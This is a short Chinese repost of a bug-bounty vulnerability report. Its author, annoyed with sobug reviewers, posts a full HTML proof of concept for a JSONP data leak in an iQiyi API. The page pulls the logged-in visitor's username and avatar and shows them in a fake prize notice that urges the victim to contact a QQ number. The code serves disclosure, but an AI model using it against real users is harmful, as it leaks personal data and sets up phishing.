来源：自学PHP网 时间：2015-04-15 15:00 作者： 阅读:次
[导读] sobug审核人员素质根本不行。poc的意义只是在于证明这个漏洞。同样的漏洞我写过一个poc了，现在换一个url你就不认识了，那我能说什么，我只能说，那我就写一个poc给你看。无心再扯淡...
|
sobug审核人员素质根本不行。poc的意义只是在于证明这个漏洞。同样的漏洞我写过一个poc了，现在换一个url你就不认识了，那我能说什么，我只能说，那我就写一个poc给你看。
无心再扯淡，直接poc
<html> <script src='http://api.t.iqiyi.com/qx_api/framework/all_in_one?data={%22requests%22:[{%22uri%22:%22/comment/get_user_simple_info%22 ,%22params%22:{%22escape%22:true}}],%22publicParams%22:{%22tvid%22:186484,%22qitanid%22:1023533,%22aid%22:1023533,%22usecache%22:%22 true%22}}&qitancallback=fnsucc' > </script> <script> document.write('亲爱的爱奇艺用户'+fnsucc.data['$comment$get_user_simple_info'].data.user.uname+'<br /><img src="'+fnsucc.data['$comm ent$get_user_simple_info'].data.user.icon+'"></img><br />恭喜你的头像获得本年度最佳爱奇异啪啪奖，请你联系我们的客服（qq号 10001 ）领 取啪啪奖'); </script> </html>
 修复方案：
是不是要我每次都写这么长一段poc代码，每次都把漏洞的应用场景替你们想好，你们才确认漏洞
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
